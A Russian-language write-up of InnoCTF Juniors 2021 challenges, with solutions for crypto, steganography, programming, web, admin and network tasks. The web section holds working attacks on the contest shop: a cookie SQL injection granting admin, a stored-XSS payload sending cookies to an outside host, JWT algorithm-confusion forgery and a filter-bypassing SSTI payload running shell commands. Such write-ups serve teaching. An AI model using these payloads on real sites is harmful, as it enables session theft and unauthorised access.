# InnoCTF Juniors 2021 Write-ups [TOC] ## Crypto ### Crypto License (10) **Мы модифицировали и зашифровали текст одной популярной лицензии неким популярным шифром. Вам необходимо разгадать шифр, найти измененную часть, внимательно с ней ознакомиться, и составить флаг.** Это был шифр Цезаря со сдвигом 20. Отправляем наш шифротекст в дешифратор, например https://cryptii.com/pipes/caesar-cipher ![](https://i.imgur.com/gEo0UIR.png) Далее было два варианта: поискать текст по ключевым словам, например, Capture the Flag, или найти различия оригинальной лицензии GNU GPL и данного текста. Флаг собирается только по заглавным буквам. ### Секретное задание (20) **В лапы наших оперативников попал этот шифротекст. Эти балбесы даже не понимают, что здесь написано. Может, тебе удастся разобраться и найти ключ? Только дело до ключа нам нет, нам нужно понять, о какой организации в тексте идет речь. Она там часто упоминается. Не перепутай, ключ не вижен, важна само название организации** В описании задачи намерена допущена ошибка в слове "вижен", это отсылка к шифру Виженера. Текст большой, можно провести его анализ и восстановить ключ с помощью CrypTool или онлайн утилит ( https://www.guballa.de/vigenere-solver или https://cryptii.com/pipes/vigenere-cipher) ![](https://i.imgur.com/os14Hu3.png) ключ был **security**, а речь шла о компании Wikileaks, этот текст с ее официального сайта. ### Шифровальщик (30) **Сегодня мы должны были получить инструкции для начала работы над нашим проектом. Но, к сожалению, сама инструкция была перехвачена злоумышленниками и зашифрована. Они просят перевести им пару биткоинов, а в качестве подтверждения честности сделки прислали код своего шифровальщика. Как по мне, банальщина, и шифр перестановки. Тебе такое по зубам? Даем код программы-вредоноса и сам шифротекст. Ждем от тебя мануала по этой утилите, ее название и будет ответом и разгадкой** Перед нами кастомный шифр перестановки. По задумке, он берет каждый i-й элемент (массив ключей задан) и меняет его местами с элементом, смещенного на следующий шаг, если он не выходит за границу массива. На основе кода, который нам дан, пишем дешифратор ```python data = "ih uelaguyptoa sUeNstihn Ur efGifaoer n.o cnirfGonNs tdcdtsrehe eoeehi avt rteho gietdrp siatrtavgcy tnnet un-rgoosb an eiav eenl rntigetsriicx oleep f oh ctnme,gfi snurtaohd pceget Oe outo nrelrsfe (eRcsndeT SuctPioOe e oA EtiRt,dto)l naceh is noh mswe ekdt el(shisfn)tir nd atlorfefasrnw ooefr,aopu itto, i etoco epra hm hpi tienavsd oifnn eiot nshn ntelxe me nffts. man-I iuo,t ri e o gi fietcds mpidi.ssdcv`a'sa nTmsdeh." steps = [7,11,5,19,2,26,12,3,11,40,4,18,9,17,32] data = list(data) for i in steps[::-1]: for j in range(len(data)-1, 0, -1): if j % i == 0: if j - i >= 0: [data[j], data[j-i]] = [data[j-i], data[j]] else: continue print(''.join(data)) ``` ### Шифровальщик наносит ответный удар (40) **В прошлый раз нам удалось спасти сотрудников от безделья и восстановить таки мануал! В этот раз злоумышленники "зашифровали" наш файл с важным кодом-паролем. Они издеваются, поэтому снова выложили код своего якобы шифратора, а также файл в формате hex-строки. Восстанови перемешанный hex, сделай из него файл и достань таки код-пароль! Наша фирма не хочет платить кучу денег таким мелким воришкам!** `11a06ca9064be482cd8b58202e6e3cc00027fb9d1c307026000e03877cc0fcf4840081d32e64000440db` Здесь тоже шифр перестановок, но он вырезает куски текста по определенной позиции, и вставляет в конец строки. Похоже на перемешивание карточной колоды, когда она разделяется на две части, одна из которых уходит в конец колоды. Нам заранее известна длина текста и подстроки, которые были отправлены в конец строки, поэтому нужно проделать обратную операцию "восстановления". Для этого предварительно создадим массив _back_positions_ на основе шифра. А далее, в обратном порядке пройдемся и отменим наши перестановки. Пишем дешифратор ```python data = "11a06ca9064be482cd8b58202e6e3cc00027fb9d1c307026000e03877cc0fcf4840081d32e64000440db" steps = [3,11,2,13,6,4,9,5,10,8,25,11,7,3,19,4,18,40,23] data = list(data) prev = 0 back_positions = [] for i in steps: for j in range(len(data)): if j % i == 0 and j - prev >= 0: back_positions.append([j, i, prev]) prev = i for p in back_positions[::-1]: [j, i, prev] = p last = len(data) - prev if prev == 0: continue data = data[:j-prev] + data[-prev:] + data[j-prev:last] print(''.join(data)) ``` ### Whitebox (45) **Наш отдел набирает новых стажеров-аналитиков. Для начала тебе придется проявить свои навыки и разобраться, как декодировать файл при условии, что исходный код шифровальщика мы предоставим. Удачи!** Смотрим исходный код, понимаем что вся задача сводится к нахождению ключа xor'a. Так как исходный алфавит достаточно не большой, все что нам остается - написать брут ключа и считывать первые N байт файла для определение его заголовка (файл png - первые 8 байт 137 80 78 71 13 10 26 10). ### Graybox (50) **Наши аналитики работают с шифровальщиком. Уже известно, что это бинарный файл, он выполняет некоторые побитовые операции над текстом, а на выходе выплевывает всё как есть, то есть ascii-текст, включая непечатаемые символы. Для того, чтобы узнать ключ, придется потратить немало времени. В приложении мы даем функцию генерации этого самого ключа, которую нам удалось заполучить методом реверс-инженерии, а также зашифрованный текст, который является разгадкой к задаче. Сам бинарный файл мы не даем, так как еще не закончили анализировать его . Узнай ключ и восстанови оригинальный текст.** `seed=40` Компилируем код, данный в условии задачи, и запускаем функцию prng со вторым аргументом 40 (seed). Получаем ключ **PMTLNAWEVXKHOGIURYQSFCJBDPMTLNAWEVXKHOGI**. Побитовых операций с обратным действием не так уж и много, это XOR. Берем исходный файл с шифротекстом, и посимвольно xor'им с ключом. Код шифратора (и дешифратора одновременно) на С ```c= #include <stdio.h> #include <string.h> #include <stdlib.h> const char * prng(char *str, int seed) { size_t size = 40; for (size_t n = 0; n < size; n++) { int key = seed % 25; str[n] = (char)(65+key); seed = (seed * 5 + (seed - 9) + 6) % 300; } return str; } int main() { char *s = malloc(40); const char *t = prng(s, 40); printf("%s", t); char buf[BUFSIZ]; fgets(buf, sizeof buf, stdin); char output [strlen(buf) -1]; if (buf[strlen(buf)-1] == '\n') { for (int i = 0; i < strlen(buf) -1; i++) { output[i] = buf[i] ^ t[i % 40]; } printf("%s", output); printf("\r\n"); } return 0; } ``` `cat cipher | ./a.out` и видим исходный текст с флагом ### Blackbox (60) **Злоумышленники выпустили вторую версию шифровальщика, при этом никаких выходных данных для текущего шифра мы не нашли (возможно, он еще не начал вести активность в сети). Есть только голый бинарь, твой ввод и вывод байт в шестнадцатиричной форме. Давай для начала найдем ключ шифрования, а дальше решим, что с ним делать. Пожалуй, можно ограничиться заглавными буквами** Шифр, как и в предыдущем задании - **xor**. Здесь есть два пути. Посимвольно перебирать ключ (a xor a = 0), так как буквы только заглавные, то таких вариантов может быть 26 (размер алфавита). Длина ключа была 50 (это можно понять по повторяющимся паттернам). Пример брутилки на bash ```bash= #!/bin/bash key="" for i in {1..51} do for x in {A..Z} do result=$(echo $key$x | ./bin | tail -c 4 | cut -c1-2) if [ "$result" = "00" ]; then key="${key}${x}" break fi done done echo $key ``` Альтернативный вариант, предложенный участниками. Вариант через дебаггер, так как ключ заранее генерируется перед шифрованием, и лежит в памяти в открытом виде ![](https://i.imgur.com/tQHGTYA.png) Использовали этот скрипт для дампа https://davidebove.com/blog/2021/03/27/how-to-dump-process-memory-in-linux/ (одна из первых ссылок в ddg) Остальное `gdb / xxd / vim -d` ## Stegano ### Черным по белому (10) **Прочитайте внимательно отрывок из "Бесприданницы" Островского. Нам кажется, автор скрыл какой-то смысл в данном отрывке** При выделении текста видим, что есть подозрительно большое количество пробелов на одной строке. Это белый текст на белом фоне. ![](https://i.imgur.com/TcOTHoZ.png) Вставляем выделение в любой блокнот и видим флаг ### Зарисовка (15) **Мы нашли это изображение у злоумышленников, они точно здесь что-то спрятали** Флаг был спрятан в явном виде на одной из башен ![](https://i.imgur.com/GnOthCH.png) ### Кто это сделал? (30) **Мы нашли фото этого самозванца! Ваша задача - найти компанию, к которой этот наглец имеет прямое отношение! Именно на его сайте и хранится важная информация, но дальше мы сами разберемся. Найди имя директора этой компании и ее название (это будет ответ) по информации с изображения** ![](https://i.imgur.com/jTMVVaA.png) Заливаем картинку в любой анализатор метаданных (http://metapicz.com/), нас интересуют два параметра - это Copyright и CreatedDate. Ищем информацию по имени и найденной дате, получаем ответ в первых результатах поиска ![](https://i.imgur.com/fOHrK40.png) ### Документ (40) **Как и во всех предыдущих заданиях категории stegano, вам нужно в очередной раз найти скрытый флаг** Флаг здесь спрятан в текстовом виде за картинкой. Выделяем и копируем в любой текстовый редактор ![](https://i.imgur.com/6uW49jh.png) ### Документ (1) (50) **И снова документ на изучение, и снова скрытая информация** Здесь флаг спрятан на картинке, которая, в свою очередь, перекрывается видимой нами картинкой. Можно экспортировать все изображения из pdf (один из таких сервисов - https://pdfcandy.com/extract-images.html) На выходе получаем 2 изображения, на одном из которых флаг ## PPC ### Снова в школу ч.1 (10) **Решай задачи в удаленном терминале, 50 раундов и флаг твой** `Найдите длину отрезка по точкам: x1;y1;x2;y2. Ответ округляется до двух знаков по правилам округления` Для расчета нам необходима формула длины отрезка по точкам. ![](https://i.imgur.com/byf4Akp.png) Пример автосолвера ниже: ```python= import math from time import sleep import socket sock = socket.socket() sock.connect(("127.0.0.1", 9001)) data = "" while True: sleep(1) data = sock.recv(1024).decode('utf-8') if 'CTF' in data: print(data) break points = data.split('\n')[-2].split(';') result = round(math.hypot(int(points[2]) - int(points[0]), int(points[3]) - int(points[1])), 2) sock.send((str(result) + '\r\n').encode()) sock.close() exit() ``` ### Снова в школу ч.2 (20) **Решай задачи в удаленном терминале, 50 раундов и флаг твой** `Даны координаты центра окружности и ее радиус. В ответ пришлите количество пересечений этой окружности с осью Ox и Oy. От 0 до 4` Для решения нам потребуется формула пересечения окружности и прямой. В данном случае с двумя прямыми (ось x и ось y). Пример кода автосолвера: ```python import math from time import sleep import socket sock = socket.socket() sock.connect(("127.0.0.1", 9002)) data = "" def circle_line_segment_intersection(circle_center, circle_radius, pt1, pt2, full_line=True, tangent_tol=1e-9): """ Find the points at which a circle intersects a line-segment. This can happen at 0, 1, or 2 points. :param circle_center: The (x, y) location of the circle center :param circle_radius: The radius of the circle :param pt1: The (x, y) location of the first point of the segment :param pt2: The (x, y) location of the second point of the segment :param full_line: True to find intersections along full line - not just in the segment. False will just return intersections within the segment. :param tangent_tol: Numerical tolerance at which we decide the intersections are close enough to consider it a tangent :return Sequence[Tuple[float, float]]: A list of length 0, 1, or 2, where each element is a point at which the circle intercepts a line segment. Note: We follow: http://mathworld.wolfram.com/Circle-LineIntersection.html """ (p1x, p1y), (p2x, p2y), (cx, cy) = pt1, pt2, circle_center (x1, y1), (x2, y2) = (p1x - cx, p1y - cy), (p2x - cx, p2y - cy) dx, dy = (x2 - x1), (y2 - y1) dr = (dx ** 2 + dy ** 2)**.5 big_d = x1 * y2 - x2 * y1 discriminant = circle_radius ** 2 * dr ** 2 - big_d ** 2 if discriminant < 0: # No intersection between circle and line return [] else: # There may be 0, 1, or 2 intersections with the segment intersections = [ (cx + (big_d * dy + sign * (-1 if dy < 0 else 1) * dx * discriminant**.5) / dr ** 2, cy + (-big_d * dx + sign * abs(dy) * discriminant**.5) / dr ** 2) for sign in ((1, -1) if dy < 0 else (-1, 1))] # This makes sure the order along the segment is correct if not full_line: # If only considering the segment, filter out intersections that do not fall within the segment fraction_along_segment = [(xi - p1x) / dx if abs(dx) > abs(dy) else (yi - p1y) / dy for xi, yi in intersections] intersections = [pt for pt, frac in zip(intersections, fraction_along_segment) if 0 <= frac <= 1] if len(intersections) == 2 and abs(discriminant) <= tangent_tol: # If line is tangent to circle, return just one point (as both intersections have same location) return [intersections[0]] else: return intersections while True: sleep(1) data = sock.recv(1024).decode('utf-8') if 'CTF' in data: print(data) break points = [int(x) for x in data.split('\n')[-2].split(';')] result = len(circle_line_segment_intersection((points[0], points[1]), points[2], (-1000, 0), (1000, 0))) + \ len(circle_line_segment_intersection((points[0], points[1]), points[2], (0, -1000), (0, 1000))) sock.send((str(result) + '\r\n').encode()) sock.close() exit() ``` ### Prime Game v.1 (25) **Помнишь какие числа называют простыми? Ну вот тут тоже все просто - тебе на вход число, а ты говоришь простое оно или нет.** Простая задача на поиск простых чисел, пример решения ```python from time import sleep import socket from sympy import isprime sock = socket.socket() sock.connect(("127.0.0.1", 5550)) data = "" while True: sleep(1) data = sock.recv(1024).decode('utf-8') if 'CTF' in data: print(data) break answer = isprime(int(data)) if answer: sock.send('y'.encode()) else: sock.send('n'.encode()) sock.close() exit() ``` ### Снова в школу ч.3 (30) **Решай задачи в удаленном терминале, 50 раундов и флаг твой** ``` Даны длины трех сторон треугольника в формате l1;l2;l3. l1 - между вершинами A и B, l2 - между B и C, l3 - между C и A. Найти все три угла вершин A,B,C. Ответы округляются до двух знаков по правилам округления. 13.85;16.9;149.25 Пример: Дано 71.81;88.55;99.62. Ответ: 59.6;76.01;44.38 ``` угол между двух сторон треугольника считается по этой формуле ![](https://i.imgur.com/xZVPwpI.png) Пример автосолвера (функция расчета - angle): ```python from math import acos, degrees, hypot from time import sleep import socket sock = socket.socket() sock.connect(("127.0.0.1", 9003)) data = "" def angle(sideA, sideB, sideC): # return degrees(acos((sideA**2 + sideB**2 - sideC**2)/(2.0 * sideA * sideB))) while True: sleep(1) data = sock.recv(1024).decode('utf-8') if 'CTF' in data: print(data) break l1, l2, l3 = [float(x) for x in data.split('\n')[-2].split(';')] A = round(angle(l3, l1, l2), 2) B = round(angle(l1, l2, l3), 2) C = round(angle(l2, l3, l1), 2) sock.send((f'{A};{B};{C}\r\n').encode()) sock.close() exit() ``` ### Prime Game v2 (35) ***2, 3, 5, 7, 11, 13... А что если надо найти 1337 по счету простое число? Слабо? P.S. кстати ответ 11027** И снова задача на поиск простых чисел. Можно простроить все числа в диапазоне 1,99999999, а можно воспользоваться следующим кодом: ```python from time import sleep import socket from primesieve import nth_prime sock = socket.socket() sock.connect(("127.0.0.1", 5550)) data = "" while True: sleep(1) data = sock.recv(1024).decode('utf-8') if 'CTF' in data: print(data) break answer = str(nth_prime(int(data))).encode sock.send(answer) sock.close() exit() ``` ### Снова в школу ч.4 (40) **Решай задачи в удаленном терминале, 50 раундов и флаг твой** ``` Даны шесть точек на плоскости, являющиеся вершинами треугольника. В формате x1;y1;x2;y2;x3;y3 Найти все три угла вершин A,B,C, где l1 - между вершинами A и B, l2 - между B и C, l3 - между C и A. x1;y1 - координаты точки A, x2;y2 - координаты точки B, x3;y3 - координаты точки C Ответы округляются до двух знаков по правилам округления. 13.85;16.9;149.25 Пример: Дано -97;60;-57;1;18;71. Ответ: 61.3;81.11;37.56 ``` Совмещаем формулу нахождения длины отрезка по координатам из задачи №1 и формулу нахождения угла из задачи №3. Получается следующий код: ```python= from math import acos, degrees, hypot from time import sleep import socket sock = socket.socket() sock.connect(("127.0.0.1", 9004)) data = "" def angle(sideA, sideB, sideC): # return degrees(acos((sideA**2 + sideB**2 - sideC**2)/(2.0 * sideA * sideB))) while True: sleep(1) data = sock.recv(1024).decode('utf-8') if 'CTF' in data: print(data) break points = [int(x) for x in data.split('\n')[-2].split(';')] [l1, l2, l3] = [hypot(points[2] - points[0], points[3] - points[1]), hypot(points[4] - points[2], points[5] - points[3]), hypot(points[0] - points[4], points[1] - points[5]) ] A = round(angle(l3, l1, l2), 2) B = round(angle(l1, l2, l3), 2) C = round(angle(l2, l3, l1), 2) sock.send((f'{A};{B};{C}\r\n').encode()) sock.close() exit() ``` ### MEME not MIME (50) **Разберись с типами файлов за 50 раундов и забирай флаг!** ``` Найдите расширение файла по magic bytes (offset,bytes) или mime-type, которые мы вам присылаем. В ответ ждем расширение файла без точки Пример: Входные данные: 0001000000, выходные данные: ttf Примеры типов мы берем отсюда: https://www.garykessler.net/library/file_sigs.html, https://github.com/nginx/nginx/blob/master/conf/mime.types и https://gist.github.com/Qti3e/6341245314bf3513abb080677cd1c93b ``` Используем json-файл для поиска информации. Проверяем вхождение строки в полях mime и signs. Отправляем найденное расширение в ответ. Пример кода: ```python from time import sleep import socket import json sock = socket.socket() sock.connect(("127.0.0.1", 9005)) data = "" f = open('./extensions.json', 'r') extensions = json.load(f) f.close() check = dict() for i in list(extensions.items()): i[1]['signs'].append(i[1]['mime']) check[i[0]] = i[1]['signs'] while True: sleep(1) data = sock.recv(1024).decode('utf-8') if 'CTF' in data: print(data) break info = data.split('\n')[-2].strip() l = next(x[0] for x in list(check.items()) if info in x[1]) sock.send((f'{l}\r\n').encode()) sock.close() exit() ``` ## Web ### Накодили (10) **Добро пожаловать в наш магазин! Мы спешили, очень спешили, и сделали для вас годный (ну почти) продукт! Вскоре мы планируем открывать BugBounty, но сначала пробежимся по коду и удалим лишний мусор с сайта....** Флаги были вшиты в код и лежали в трех местах: 1. HTML страница 2. Файл robots.txt 3. Файл стилей (css) Все части были подписаны для удобства склеивания ### Секретный предмет (20) **Во время запуска интернет магазина "На диване" админ тестировал добавление предметов. Может, он не всё почистил, и удастся урвать эксклюзив за бесценок? поищи такой уникальный предмет** Таким предметом был тестовый придмет с id = 0. У него была низкая стоимость, чтобы можно было купить без труда. При этом, в общем списке предметов он не отображался. ![](https://i.imgur.com/H01EIvh.png) Покупаем и получаем флаг ### Мам, купи! (30) **А ты уже купил самый дорогой предмет в нашем магазине? Нет?** Ошибка в логике. Необходимо было отправить POST-запрос с отрицательным количеством товара (-1 и меньше), тогда деньги не списывались со счета, а наоборот, зачислялись. Как только баланс был достаточно большой, можно было покупать флаг. Пример пополнения баланса ```bash= curl --location --request POST 'https://webshop.hackforces.com/items/3' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --header 'Cookie: token=8f14e45fceea167a5a36dedd4bea2543' \ --data-urlencode 'amount=-1' ``` Никаких флагов не получим, но увеличим свой баланс. Теперь делаем такой же запрос, только с положительным количеством ```bash= curl --location --request POST 'https://webshop.hackforces.com/items/3' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --header 'Cookie: token=8f14e45fceea167a5a36dedd4bea2543' \ --data-urlencode 'amount=1' ``` ### Sudo в магазине (40) **Конечно, я утрирую. Поздравляю с покупкой скрытого предмета, кстати. А что если не только предмет скрытый, может еще и какой-нибудь суперпользователь есть с админскими правами? ну чтобы с админкой и всё такое** Токены авторизации являются хэшем md5. Возьмем для примера строку, выданную сервером: `8f14e45fceea167a5a36dedd4bea2543` проверим ее и попытаемся найти исходник для хэша ![](https://i.imgur.com/sYZnAfY.png) это цифра 7. Если проводить анализ дальше, то можно понять, что хэши выдаются по порядку от 1 до N. Возьмем хэш от 0 и попробуем с ним зайти в админку. ``` curl --location --request GET 'https://webshop.hackforces.com/admin' \ --header 'Cookie: token=cfcd208495d565ef66e7dff9f98764da' ``` забираем флаг ### Админ в ярости! (50) **Ты взбесил своими манипуляциями админа магазина! Теперь он каждую минуту заходит и проверяет, чтобы ничего не упало, все страницы открывались, а левые товары не спамились в магазине! Упс, пожалуй я слил инфу, как можно его еще больше взбесить. А что, если создавать свои товары, и подсовывать туда свой код? Вдруг что-нибудь удастся урвать у админа? Или может быть, самому сначала стать админом?** Это комбинация SQL инъекции в Cookie и stored XSS. Чтобы стать администратором системы и получить возможность добавлять предметы, нужно изменить переменную token в Cookies на такую: ![](https://i.imgur.com/0PGEyiZ.png) Отправляем запрос ``` curl --location --request GET 'https://webshop.hackforces.com/admin' \ --header 'Cookie: token=70efdf2ec9b086079795c442636b55fb'\''%3B update users SET admin=true %2D%2D' ``` и далее получаем возможность добавлять предметы: ![](https://i.imgur.com/Ks8tJan.png) Опытным путем определяем, что XSS в имени предмета ![](https://i.imgur.com/8dMzhlA.png) ![](https://i.imgur.com/SWXwOgR.png) ![](https://i.imgur.com/tIH2KxG.png) ![](https://i.imgur.com/I7AlHzK.png) Вставляем свой код для кражи сессии других клиентов (в частности админа сайта), который каждые 90 секунд проверял данную страницу. Флаг админа был в cookies с названием secret ```htmlmixed= <script>var i=new Image;i.src="https://enpsh8prphhcicn.m.pipedream.net?"+document.cookie;</script> ``` Пример украденных данных у админа ![](https://i.imgur.com/kMffG8E.png) ### Time to Change (55) **Кажется, мы нашли тайную страничку админа и даже его стандартные креды superuser:superpass подходят. Но почему же наш админ - не админ..?** Задача на JWT токен. Находим токен, так же в исходниках страницы видим base64. Токен имел подпись RSA с использованием открытого ключа. Используя следующий код, можно было подменить данные в поле is_admin значение False на True (со сменой подписи с RSA на HMAC): ```python #pyjwt version <= 0.4.2 import jwt import base64 public_key = base64.b64decode( 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FERk44dDdhS1UxbmQ2K1RQYkZFWVJmenIzWApnSE1QZGdzdVZ1c3MrL1UwMjNtRW1vajJ4Zy9lamR0V0UwTWJRUUxkT28rOXlqZmRNbWowYy9NbGYrYXF0M1lPCkNkUWtVV0l1GFZUOVVPTnRBUkFtYWNxQzNQT0xBNXgrcEIyc0ZieWNhT2ZQS2xYV3I2RXZVd2V0TW1PaWNuR1YKeGwrMEIwZDhid1d3TldPV0p3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=') print(jwt.encode( {'username': 'superuser', 'is_admin': True}, key=public_key, algorithm='HS256' ).decode() ) ``` Вторым решением была смена алгоритма подписи на None, что так же позволяло изменить значение и получить флаг. ## Admin's secrets (60) **Хм, кажется наш админ решил углубится в веб разработку и делает что то интересное.. К сожалению, никакой документации к передаваемым параметрам он не оставил, придется потыкать. Зато мы точно знаем что все интересное он положил в /app/flag.txt Сможете достать?** Первым делом заходим и не видим ничего интересного. К счастью, в описании есть подсказка про параметры. Быстренько их перебрав, понимаем что интересует нас параметр name, позволяющий менять данные на странице, что отсылает нас к уязвимости SSTI. Пробуем, попадаем на блок. Ищем методы байпасса: ```python {{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(287)(‘ls’,shell=True,stdout=-1)|attr(‘communicate’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(0)|attr(‘decode’)(‘utf-8’)}} ``` ## Admin ### DNS (10) **Разберись с dns-серверами сайта https://webshop.hackforces.com и найди скрытый флаг (на сайт даже заходить не обязательно)** Используем инструмент dig для проверки записей в домене. Это TXT запись: ![](https://i.imgur.com/lcPtTF8.png) Переходим по найденной ссылке и получаем флаг ### Admin vol1 (10) **И снова админы решили пошутить. user:HsSRfhc2CJk2EPhh** После подключения по ssh видим что нам доступно всего несколько команд, из полезных есть ls и cat. Видим множество папок со вложенными структурами, где то среди них наш флаг Ищем и читаем: ```bash ls /*/*/*/*/*/*/* cat a1/b5/c3/d5/f6/flag.txt ``` ### Admin vol2 (15) **Иногда админам хочется расслабиться и повеселиться, поэтому они делают маленькие сюрпризы коллегам.user:HsSRfhc2CJk2EPhh** При подключении по ssh мы попадали в консоль vim'a. При попытке выхода - связь обрывалась. Способ решения: ```bash :set shell=/bin/sh :shell ``` ### Life in the trash (20) **Сможешь найти флаг в куче мусора? Не забывай про формат. Да пребудет с тобой grep!** В файле ASCII-строки одинаковой длины. Можно сделать grep по CTF, но ничего мы не найдем. Строки зареверсены, проверяем по этому параметру: ``` cat t.txt | rev | grep CTF CTF{+PX{FZSj_{/H@N@}-;o8wfxC]5Fq~L!} ``` ## Network ### First challenge (10) **Забери флаг по адресу** `ip: 62.84.113.109, port 6000, protocol tcp` Подключаемся по nc `nc 62.84.113.109 6000` ### get the flag (20) **Переписку перехватили, выручай, найди секретную инфу** В дампе видим, что сначала клиент подключается по http на адрес, получает токен, далее подставляет его в header и получает флаг. При этом во взаимодействии также видно, что есть ограничение действия токена (это 5 секунд). ![](https://i.imgur.com/NdyoXsf.png) ![](https://i.imgur.com/0F5lu0O.png) ![](https://i.imgur.com/wKDBmTJ.png) Повторяем за клиентом: ```bash curl --location --request GET 'http://62.84.118.87:3000' ``` в поле header подставляем выданный вам токен ```bash curl --location --request GET 'http://62.84.118.87:3000/getFlag' \ --header 'Authorization: Bearer 392a6158c3d5db6205b19171408e0d6b' ``` ### netcat (30) **Переписку перехватили, выручай, найди секретную инфу** В дампе только 1 протокол tcp и 2 адреса. То есть, всего 1 стрим. Делаем Follow ![](https://i.imgur.com/bzxSP7M.png) ![](https://i.imgur.com/vKVqGwq.png) Флаг - в base64 строке